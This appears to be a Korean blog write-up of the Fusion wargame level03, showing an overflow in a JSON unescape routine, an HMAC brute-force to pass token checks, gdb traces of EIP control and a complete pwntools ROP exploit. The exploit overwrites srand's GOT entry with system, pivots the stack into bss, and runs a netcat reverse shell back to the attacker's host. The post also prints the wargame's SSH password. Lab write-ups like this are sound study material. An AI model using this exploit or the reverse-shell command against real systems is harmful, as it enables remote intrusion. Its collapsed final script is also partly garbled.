wargame - fusion / level03

2017. 2. 27. 11:37


LEVEL03


level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.




>>> print e.checksec()

RELRO:    No RELRO

Stack:    No canary found

NX:       NX enabled

PIE:      No PIE

RPATH:    '/opt/fusion/lib'

FORTIFY:  Enabled




소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다. 





입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까





또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.


두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다. 





검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다. 


결론부터 말하면 while 구문 내부의 조건식이 



1) src 가 널바이트가 아니고

 

           &&


2) dest 가 end 랑 다르면



이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다. 


소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서


dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고


실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.  







먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.


def find_collision(token, payload):
	i = 0
	while 1:	
		json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC)
		tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest()
		if tmp_hmac[0:2] == "\x00"*2:
			log.success("found collision request : %s" % json_req)
			return json_req
			break
		i += 1




다음은 eip 변조 테스트.



buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB"   # 34 + eip


req_col = find_collision(token, buf)

r.send(req_col)


gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB66C  EIP: 0x08049E08
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFDAB66C]------------------------------------------------------[stack]
0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A.....
0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............
0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................
0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................
0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................
0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............
--------------------------------------------------------------------------[code]
=> 0x8049e08 <handle_request+264>:	ret    
   0x8049e09 <handle_request+265>:	lea    esi,[esi+eiz*1+0x0]
   0x8049e10 <handle_request+272>:	mov    DWORD PTR [esp+0x4ac],0x80
   0x8049e1b <handle_request+283>:	mov    DWORD PTR [esp],ebx
   0x8049e1e <handle_request+286>:	call   0x8048da0 <json_object_get_string@plt>
   0x8049e23 <handle_request+291>:	lea    edx,[esp+0x4ac]
   0x8049e2a <handle_request+298>:	mov    DWORD PTR [esp+0x8],edx
   0x8049e2e <handle_request+302>:	lea    edx,[esp+0x42c]
--------------------------------------------------------------------------------
0x08049e08 in handle_request () at level03/level03.c:193
193	in level03/level03.c
gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB670  EIP: 0x42424242
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x42424242
0x42424242 in ?? ()


정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를


이용한 rop 는 조금 제약이 있었다. 






여러번 삽질 후 세운 payload 는 아래와 같다.



1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)


2) memcpy 로 bss 에 system 인자값 쓰기

 

    memcpy(bss+4,gContents,4)        // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)


3) srand plt(system) 호출


    srand@plt(bss+8)    // reverse nc command



은 실패했다. 




실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음.. 




아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,


leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!




1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)


2) memcpy 로 bss 에 srand@plt, command 쓰기

 

    memcpy(bss, srand@plt,4)             

    memcpy(bss+8, gContents, len(cmd))    


3) leave 를 이용하여 fake ebp


    ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조


4) srand plt(system) 호출


    srand@plt(bss+8)    // reverse nc command





아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop


가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.


#!/usr/bin/python import hmac import hashlib import json from pwn import * context(arch='i386',os='linux') r = remote("192.168.231.128",20003) e = ELF('../bin/level03') rop = ROP(e) s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"


REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"

def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1 log.info("fusion level03 exploit by hyunmini") token = r.recv(1024).strip().strip('"') log.info("get token : %s" % token) # exploit condition # eip control breakpoint : 0x8049e04 <handle_request+260>: # control reg : ebx, esi, edi, ebp buf = "A"*127 + "\\\\ua" + "A"*34 # 34 + eip # srand got =+ system offset (0x9b60) => srand@plt = system() rop = p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60 rop += '\\\u609b\\\u0000' rop += "A"*0x5c rop += p32(0x08049a4f) # pop ebx ; ret // ebx rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff) rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret) # memcpy(bss+4, srand@plt, 4) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss()) rop += p32(e.got['srand']) rop += '\\\u0400\\\u0000' # memcpy(bss+8, gContents, len(cmd)) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss(8)) rop += p32(e.symbols['gContents']) rop += '\\\u0400\\\u0000' # fake ebp rop += p32(0x8049205) # pppr rop += p32(e.bss()-4) * 3 rop += p32(0x8049431) # leave, ret payload = buf + rop req_col = find_collision(token, payload) r.send(req_col)





# ./ex3_exploit.py     // exploit 성공



hyunmini:solve $ nc -lv 7777

id

uid=20003 gid=20003 groups=20003

uname -a

Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux





'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level01  (0) 2016.12.28
wargame - fusion / level00  (2) 2013.09.23

+ Recent posts